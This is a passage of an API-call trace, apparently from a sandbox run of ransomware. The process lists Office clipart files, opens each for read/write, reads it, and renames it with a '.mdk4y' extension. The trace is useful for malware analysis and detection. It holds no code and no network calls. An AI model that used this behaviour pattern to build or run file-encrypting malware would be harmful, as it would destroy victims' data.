lpPerformanceCount=0x37dee4*=1820757900000) returned 1 [0132.349] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820757900000) returned 1 [0132.349] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.mdk4y")) returned 1 [0132.350] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.350] AreFileApisANSI () returned 1 [0132.350] GetACP () returned 0x4e4 [0132.350] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CRANE.WMF", cchWideChar=9, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CRANE.WMFMID", lpUsedDefaultChar=0x37df4c) returned 9 [0132.350] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820758100000) returned 1 [0132.351] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1496, lpOverlapped=0x0) returned 1 [0132.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820761900000) returned 1 [0132.389] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820761900000) returned 1 [0132.390] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.mdk4y")) returned 1 [0132.390] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.390] AreFileApisANSI () returned 1 [0132.390] GetACP () returned 0x4e4 [0132.390] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CRANINST.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CRANINST.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.390] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.401] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820763100000) returned 1 [0132.401] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc18a, lpOverlapped=0x0) returned 1 [0132.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820772200000) returned 1 [0132.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820772300000) returned 1 [0132.560] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANINST.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\craninst.wmf.mdk4y")) returned 1 [0132.560] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.560] AreFileApisANSI () returned 1 [0132.560] GetACP () returned 0x4e4 [0132.560] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CUP.WMF", cchWideChar=7, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CUP.WMFT.WMF", lpUsedDefaultChar=0x37df4c) returned 7 [0132.560] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820779100000) returned 1 [0132.561] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb96, lpOverlapped=0x0) returned 1 [0132.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820782900000) returned 1 [0132.599] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820782900000) returned 1 [0132.600] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUP.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cup.wmf.mdk4y")) returned 1 [0132.600] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.600] AreFileApisANSI () returned 1 [0132.600] GetACP () returned 0x4e4 [0132.600] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="CUPINST.WMF", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="CUPINST.WMFF", lpUsedDefaultChar=0x37df4c) returned 11 [0132.600] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820783900000) returned 1 [0132.609] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2856, lpOverlapped=0x0) returned 1 [0132.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820786300000) returned 1 [0132.633] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820786300000) returned 1 [0132.633] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CUPINST.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cupinst.wmf.mdk4y")) returned 1 [0132.634] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.634] AreFileApisANSI () returned 1 [0132.634] GetACP () returned 0x4e4 [0132.634] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00117_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00117_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.634] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.640] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820787000000) returned 1 [0132.640] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7992, lpOverlapped=0x0) returned 1 [0132.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820788500000) returned 1 [0132.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820788500000) returned 1 [0132.655] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00117_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00117_.wmf.mdk4y")) returned 1 [0132.656] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.656] AreFileApisANSI () returned 1 [0132.656] GetACP () returned 0x4e4 [0132.656] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00121_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00121_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.656] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.657] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820788700000) returned 1 [0132.657] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2040, lpOverlapped=0x0) returned 1 [0132.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820790100000) returned 1 [0132.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820790100000) returned 1 [0132.671] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.mdk4y")) returned 1 [0132.672] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.672] AreFileApisANSI () returned 1 [0132.672] GetACP () returned 0x4e4 [0132.672] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00234_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00234_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.672] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.672] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820790200000) returned 1 [0132.672] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x73bc, lpOverlapped=0x0) returned 1 [0132.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820790400000) returned 1 [0132.674] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820790400000) returned 1 [0132.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00234_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00234_.wmf.mdk4y")) returned 1 [0132.675] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.675] AreFileApisANSI () returned 1 [0132.675] GetACP () returned 0x4e4 [0132.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00255_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00255_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.675] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.675] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820790500000) returned 1 [0132.675] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa82, lpOverlapped=0x0) returned 1 [0132.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820792300000) returned 1 [0132.693] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820792300000) returned 1 [0132.693] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00255_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00255_.wmf.mdk4y")) returned 1 [0132.694] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.694] AreFileApisANSI () returned 1 [0132.694] GetACP () returned 0x4e4 [0132.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00256_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00256_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.694] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820792400000) returned 1 [0132.694] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb10, lpOverlapped=0x0) returned 1 [0132.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820796300000) returned 1 [0132.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820796300000) returned 1 [0132.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00256_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00256_.wmf.mdk4y")) returned 1 [0132.734] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.734] AreFileApisANSI () returned 1 [0132.734] GetACP () returned 0x4e4 [0132.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00261_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00261_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.734] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820796500000) returned 1 [0132.735] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9456, lpOverlapped=0x0) returned 1 [0132.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820798900000) returned 1 [0132.759] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820798900000) returned 1 [0132.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00261_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00261_.wmf.mdk4y")) returned 1 [0132.760] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.760] AreFileApisANSI () returned 1 [0132.760] GetACP () returned 0x4e4 [0132.760] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00297_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00297_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.760] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.760] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820799000000) returned 1 [0132.760] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9c5e, lpOverlapped=0x0) returned 1 [0132.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820799200000) returned 1 [0132.762] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820799200000) returned 1 [0132.762] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00297_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00297_.wmf.mdk4y")) returned 1 [0132.763] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.763] AreFileApisANSI () returned 1 [0132.763] GetACP () returned 0x4e4 [0132.763] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00372_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00372_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.763] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820799300000) returned 1 [0132.763] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x318, lpOverlapped=0x0) returned 1 [0132.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820801600000) returned 1 [0132.786] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820801600000) returned 1 [0132.786] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00372_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00372_.wmf.mdk4y")) returned 1 [0132.786] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.786] AreFileApisANSI () returned 1 [0132.787] GetACP () returned 0x4e4 [0132.787] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00405_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00405_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.787] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820801700000) returned 1 [0132.787] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x44b0, lpOverlapped=0x0) returned 1 [0132.818] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820804800000) returned 1 [0132.818] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820804800000) returned 1 [0132.818] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00405_.wmf.mdk4y")) returned 1 [0132.819] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.819] AreFileApisANSI () returned 1 [0132.819] GetACP () returned 0x4e4 [0132.819] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00407_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00407_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.819] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.819] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820804900000) returned 1 [0132.819] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1e94, lpOverlapped=0x0) returned 1 [0132.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820813700000) returned 1 [0132.907] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820813700000) returned 1 [0132.907] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), 